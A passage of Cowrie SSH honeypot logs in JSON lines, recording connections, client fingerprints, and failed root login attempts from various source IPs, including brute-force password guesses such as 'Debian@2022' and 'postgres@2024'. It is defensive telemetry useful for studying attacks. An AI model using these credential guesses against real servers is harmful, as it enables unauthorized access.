ellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:24.445621Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:02:3c:ba:26:8f:bd:e9:81:41:26:10:2f:84:25:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPWTCHPof+JYAiGzHkpU9wGLw4nyE1fAPDrP8fGvPGhO9Lc76hkWmnLz+NklzrNqLY/PAZk2CPjFZz2OiFnQyYD62NIpRnUChQFGyFOhxwha5uqqXVhffDDmyPIFAYX7UgCseDonksFznLq2dRqnwBzhgMHxm7WYAP0jyJfJIoFMjwFcY5L0LA7CC7zFEj997NnUT+INBAafXG6NLXAJIEluaGq65n0f4YfHGzVku/Af+vz4NVsRsNyBzukJJY3PrN6rDXnl5dWpEK5wsGabJL2e2eQIPtEHp150FN8dToTo2YGOJkx2rb0zPnwfcyYxtGUlcePqY0scC0IMP0NQvIne5USlLmmw8Gv0P+nLHBqwBl0N6uovqZE1iIhQIbo7gbpgEM3snfogyV1m70AWTOPyCvKUsGfwkvvwfOykPUnKcG0Ify17o0213KhiTGelPEgXj+RVo1uWOLWj1spkZQ4G99ZB5rB5c7zH39tuf6F+dtK+nT/9l4xkmiLglCGus=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:02:3c:ba:26:8f:bd:e9:81:41:26:10:2f:84:25:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:24.945501Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:02:3c:ba:26:8f:bd:e9:81:41:26:10:2f:84:25:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPWTCHPof+JYAiGzHkpU9wGLw4nyE1fAPDrP8fGvPGhO9Lc76hkWmnLz+NklzrNqLY/PAZk2CPjFZz2OiFnQyYD62NIpRnUChQFGyFOhxwha5uqqXVhffDDmyPIFAYX7UgCseDonksFznLq2dRqnwBzhgMHxm7WYAP0jyJfJIoFMjwFcY5L0LA7CC7zFEj997NnUT+INBAafXG6NLXAJIEluaGq65n0f4YfHGzVku/Af+vz4NVsRsNyBzukJJY3PrN6rDXnl5dWpEK5wsGabJL2e2eQIPtEHp150FN8dToTo2YGOJkx2rb0zPnwfcyYxtGUlcePqY0scC0IMP0NQvIne5USlLmmw8Gv0P+nLHBqwBl0N6uovqZE1iIhQIbo7gbpgEM3snfogyV1m70AWTOPyCvKUsGfwkvvwfOykPUnKcG0Ify17o0213KhiTGelPEgXj+RVo1uWOLWj1spkZQ4G99ZB5rB5c7zH39tuf6F+dtK+nT/9l4xkmiLglCGus=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:24.949248Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:08:4a:08:e5:7b:d9:27:56:4f:3e:cf:e5:48:ff:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx60jARBiygzKEYD87EyqCEYRgPWZKKhWuImAIWNcqGbM5X8HP4ojON7c+gwcHdGGsR+xHEURgyXD50B0YRSwJtE2++qYGA3Z7XwtR3EciM2RoLFN/U8Vv+HzjHQFnyw7xJQjfFNtAEUR8iAnruth3AilVtI7T5AD1ULV4Egwn9i8AfcWsGUvaHmngtFT+TNxdSHsjv9zHw+EdnANP0Hz9CTwYuubXWeoAfH4tJs34dldpyPlZeO4DTYrOUnGlJaRb5wcl8E+O8qGcndM0hiXKmpERerTv/QDxa17ruEH65HX6puo2zj2XFyEQyKEIi/3kMyaZoCotk1thfqfoSx7X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:08:4a:08:e5:7b:d9:27:56:4f:3e:cf:e5:48:ff:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:25.057629Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:08:4a:08:e5:7b:d9:27:56:4f:3e:cf:e5:48:ff:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx60jARBiygzKEYD87EyqCEYRgPWZKKhWuImAIWNcqGbM5X8HP4ojON7c+gwcHdGGsR+xHEURgyXD50B0YRSwJtE2++qYGA3Z7XwtR3EciM2RoLFN/U8Vv+HzjHQFnyw7xJQjfFNtAEUR8iAnruth3AilVtI7T5AD1ULV4Egwn9i8AfcWsGUvaHmngtFT+TNxdSHsjv9zHw+EdnANP0Hz9CTwYuubXWeoAfH4tJs34dldpyPlZeO4DTYrOUnGlJaRb5wcl8E+O8qGcndM0hiXKmpERerTv/QDxa17ruEH65HX6puo2zj2XFyEQyKEIi/3kMyaZoCotk1thfqfoSx7X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:25.061199Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:74:a2:40:45:b1:d8:d9:e1:78:17:59:f5:4e:24:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwaRJAEBI/HkozFeiudLiboXYb/3scIwdjCvnhHWVgUZcV/vT7ddcaSH2z7TdrsLprP12ZupPUAI43LKZl+lv92W+zPBiHrVUMJkQOpBRHUu3b7Dt9LLquWHR8VJtMskc6vJwTXUSeHzSK3N73fLY15fzUKnFIF7a5iAGapsOtjrRMW831rWRnO4ryGzQO8QUhmAYH4s1p6xpZ0Toni/SkES0VALEgSRAmBHt1IIOuSilWDDAPHzevbhrN/cwJ5106cWc7ubECzdy/E8eSbIjjrIh18rc4QZfRtxYpPqxDHvljB7l+fm/2NZr1HuAo7vSMvJIpm1RfAZ0AnUlMHfUjAe7biXsjnjWxg0nQ2W95Q2/Lsxs2mhWBZESdCcgtBIRFNNMG1Yv+d6Bt4SghY5xRP3AkH2H6BycgA7hYq0P5CpsWZxXqKYaM4BKPeuwPy2okNJEJlrvrhf/ATdWp0BFesTUnQ43qKgL+vVlgWALYeai1oBm7SXgarCzzHyHjEz+CYPMSwvgJcay7F53pxlHGL33xi8uJEWz09LrWjYwX51QiiKBVcp1fKsxe5KtpD2gcqjKM+rNDXvK/Lx0ixBocJgE8ftOAU22ffOnAw83569uvosL6UttYQ/FmbstfI7Njh7D/b+1Mqrm9X4CQMfBfMg2HrO94AsS18TQMojAJkQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:74:a2:40:45:b1:d8:d9:e1:78:17:59:f5:4e:24:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:25.166701Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:74:a2:40:45:b1:d8:d9:e1:78:17:59:f5:4e:24:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwaRJAEBI/HkozFeiudLiboXYb/3scIwdjCvnhHWVgUZcV/vT7ddcaSH2z7TdrsLprP12ZupPUAI43LKZl+lv92W+zPBiHrVUMJkQOpBRHUu3b7Dt9LLquWHR8VJtMskc6vJwTXUSeHzSK3N73fLY15fzUKnFIF7a5iAGapsOtjrRMW831rWRnO4ryGzQO8QUhmAYH4s1p6xpZ0Toni/SkES0VALEgSRAmBHt1IIOuSilWDDAPHzevbhrN/cwJ5106cWc7ubECzdy/E8eSbIjjrIh18rc4QZfRtxYpPqxDHvljB7l+fm/2NZr1HuAo7vSMvJIpm1RfAZ0AnUlMHfUjAe7biXsjnjWxg0nQ2W95Q2/Lsxs2mhWBZESdCcgtBIRFNNMG1Yv+d6Bt4SghY5xRP3AkH2H6BycgA7hYq0P5CpsWZxXqKYaM4BKPeuwPy2okNJEJlrvrhf/ATdWp0BFesTUnQ43qKgL+vVlgWALYeai1oBm7SXgarCzzHyHjEz+CYPMSwvgJcay7F53pxlHGL33xi8uJEWz09LrWjYwX51QiiKBVcp1fKsxe5KtpD2gcqjKM+rNDXvK/Lx0ixBocJgE8ftOAU22ffOnAw83569uvosL6UttYQ/FmbstfI7Njh7D/b+1Mqrm9X4CQMfBfMg2HrO94AsS18TQMojAJkQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:25.170997Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:d2:17:37:23:b5:41:cf:2c:f5:ff:c9:91:88:fe:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdf4Sm9nQ6bmxNyEI6p+OEr7/XN66stRGSW9AeHT50y1qphEgnLBIK90Yr9vqbwNbxRajMU0YtO0Ph4Yo5HTR2+TZHTB/0q8uYC6Quu0bNyGb7kOO3u5qKx7XU3Er8JevisGkHa93vAI5Sc9DhlQJIHWObrtsVOz4BV0tgF9ubXh+iI8YWiFlmSlf44i/NaB5S/DdbFNMK8qm/DMd8Jwil/Q9jAbRJW6sGr6xAk5ouzRDHDZS4I7sINxpd5N6poBcIEic75rrajPOvV9f7FoHWDl0yp3exDZ7PdsotOpKaOnlqAHWK/Uu6mgcg4DSHV6wD81jQ3MhFoMtyD77lSkETWgOG7d1E5XI7HxQnrnzMKyynq7n6yKHTtc/s3ZhUqW98Z8rbEz0HyQZmd+Vrl9oESGpoKlW8JBYhlxLw6+wlYhIZePDChvmN6WU93oiky1P7zh44OWrIeJM4vYfSLFL/kizB3daY6CwrpW3pscEjrAYkJoGxIMQN6zi3up/Fw8SikSp1KKT4xvNhlRery2XxK3+6Fa2IhwyOHTAd0bV4gKiFsCcENLgRoiqRwwaqBoNO8Rj8RYMLuehic6k8L+MNiedeneawThEmsSQZaCDlwhMRMH+kPWYYizdtiadQ5gE1Mv4Vlhk+uGsxzD0/Lsw0Z1tv2Cpsw6R+mJ807+P3WQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:d2:17:37:23:b5:41:cf:2c:f5:ff:c9:91:88:fe:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:25.277348Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:d2:17:37:23:b5:41:cf:2c:f5:ff:c9:91:88:fe:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdf4Sm9nQ6bmxNyEI6p+OEr7/XN66stRGSW9AeHT50y1qphEgnLBIK90Yr9vqbwNbxRajMU0YtO0Ph4Yo5HTR2+TZHTB/0q8uYC6Quu0bNyGb7kOO3u5qKx7XU3Er8JevisGkHa93vAI5Sc9DhlQJIHWObrtsVOz4BV0tgF9ubXh+iI8YWiFlmSlf44i/NaB5S/DdbFNMK8qm/DMd8Jwil/Q9jAbRJW6sGr6xAk5ouzRDHDZS4I7sINxpd5N6poBcIEic75rrajPOvV9f7FoHWDl0yp3exDZ7PdsotOpKaOnlqAHWK/Uu6mgcg4DSHV6wD81jQ3MhFoMtyD77lSkETWgOG7d1E5XI7HxQnrnzMKyynq7n6yKHTtc/s3ZhUqW98Z8rbEz0HyQZmd+Vrl9oESGpoKlW8JBYhlxLw6+wlYhIZePDChvmN6WU93oiky1P7zh44OWrIeJM4vYfSLFL/kizB3daY6CwrpW3pscEjrAYkJoGxIMQN6zi3up/Fw8SikSp1KKT4xvNhlRery2XxK3+6Fa2IhwyOHTAd0bV4gKiFsCcENLgRoiqRwwaqBoNO8Rj8RYMLuehic6k8L+MNiedeneawThEmsSQZaCDlwhMRMH+kPWYYizdtiadQ5gE1Mv4Vlhk+uGsxzD0/Lsw0Z1tv2Cpsw6R+mJ807+P3WQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:25.281542Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:13:23:2b:4c:0d:00:56:f3:62:87:63:e7:3c:b1:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD61YCSUywn5WqKlqkJfgI/xeumN8sdxpzTOxiN9pflvgpGLFbcrVIJMThY42TPD5ZwBqJ3LzOjFhyo3w9+KAj84LXVXguMPh9FvWbwDJ9+lAteyajU6hRZGybcRZdzuyhYEBfIfKzc+aDBzzHdzUT7DDYx8inShpb97vAcffn8hr7MS0TAwBIimy+Td183YltixNWRnET/XKYwcr4uFSJaZocmeMu1+FDRpS6J3ssugjq4ct7ZOa1hBvJL0CmCGMMW20PAyhhfnX7p1UpfZYTxfNQyFf9f5CRRhw7jLr2gS42E7QfpHty6GiNwMIDsxyb+dCdxmgA4Mons4iihmkU93DNcXVxspATX4PCQr2x3g+McrxhYgnqxX5qHrxgVlBFTo5yIt8gBGNduefWWcjT/DSqCstjuHm6ZM28hDbfwD1RQVeKYxRfMtOoC43BGmwa0Mwyi2OlriFc4kgB5jQlijNW+vENnBJzC6km99Ino3t7zRJLxCP/ePBCNXdhPkqH+DtZjojZf6QKoJnjV4ooQASA6ZDp9DlUbYB3bnDNw51R8xUNZRMwafWI885i6HGzS3NEMN1bQNMXjTP8bb7Wuza+lrLJsca+cx+KE9u7b3wrermW0UvMduqO7tZ76LMhQ7Zfu8ZhWOO/BBQqZZueFHQmEXfxPCibhMXXuhWTB6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:13:23:2b:4c:0d:00:56:f3:62:87:63:e7:3c:b1:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:25.386949Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:13:23:2b:4c:0d:00:56:f3:62:87:63:e7:3c:b1:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD61YCSUywn5WqKlqkJfgI/xeumN8sdxpzTOxiN9pflvgpGLFbcrVIJMThY42TPD5ZwBqJ3LzOjFhyo3w9+KAj84LXVXguMPh9FvWbwDJ9+lAteyajU6hRZGybcRZdzuyhYEBfIfKzc+aDBzzHdzUT7DDYx8inShpb97vAcffn8hr7MS0TAwBIimy+Td183YltixNWRnET/XKYwcr4uFSJaZocmeMu1+FDRpS6J3ssugjq4ct7ZOa1hBvJL0CmCGMMW20PAyhhfnX7p1UpfZYTxfNQyFf9f5CRRhw7jLr2gS42E7QfpHty6GiNwMIDsxyb+dCdxmgA4Mons4iihmkU93DNcXVxspATX4PCQr2x3g+McrxhYgnqxX5qHrxgVlBFTo5yIt8gBGNduefWWcjT/DSqCstjuHm6ZM28hDbfwD1RQVeKYxRfMtOoC43BGmwa0Mwyi2OlriFc4kgB5jQlijNW+vENnBJzC6km99Ino3t7zRJLxCP/ePBCNXdhPkqH+DtZjojZf6QKoJnjV4ooQASA6ZDp9DlUbYB3bnDNw51R8xUNZRMwafWI885i6HGzS3NEMN1bQNMXjTP8bb7Wuza+lrLJsca+cx+KE9u7b3wrermW0UvMduqO7tZ76LMhQ7Zfu8ZhWOO/BBQqZZueFHQmEXfxPCibhMXXuhWTB6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:25.390945Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:25.502271Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":31687,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f97bf74191c","protocol":"ssh","message":"New connection: 74.87.117.146:31687 (10.17.0.5:22) [session: 6f97bf74191c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:30.153356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:30.167047Z","src_ip":"74.87.117.146","session":"6f97bf74191c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:30.198234Z","src_ip":"74.87.117.146","session":"6f97bf74191c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Debian@2022","message":"login attempt [root/Debian@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:30.363358Z","src_ip":"74.87.117.146","session":"6f97bf74191c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:31.397913Z","src_ip":"74.87.117.146","session":"6f97bf74191c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":44638,"dst_ip":"10.17.0.5","dst_port":22,"session":"64496017c3d5","protocol":"ssh","message":"New connection: 190.242.109.42:44638 (10.17.0.5:22) [session: 64496017c3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:55.706267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:55.711426Z","src_ip":"190.242.109.42","session":"64496017c3d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:55.807983Z","src_ip":"190.242.109.42","session":"64496017c3d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"postgres@2024","message":"login attempt [root/postgres@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:56.223195Z","src_ip":"190.242.109.42","session":"64496017c3d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:57.333023Z","src_ip":"190.242.109.42","session":"64496017c3d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":32990,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fc8b18685f9","protocol":"ssh","message":"New connection: 103.147.159.91:32990 (10.17.0.5:22) [session: 7fc8b18685f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:05.639755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:05.645288Z","src_ip":"103.147.159.91","session":"7fc8b18685f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:05.889284Z","src_ip":"103.147.159.91","session":"7fc8b18685f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":50098,"dst_ip":"10.17.0.5","dst_port":22,"session":"9405f5817a1a","protocol":"ssh","message":"New connection: 151.80.141.196:50098 (10.17.0.5:22) [session: 9405f5817a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:06.746560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:06.751585Z","src_ip":"151.80.141.196","session":"9405f5817a1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","c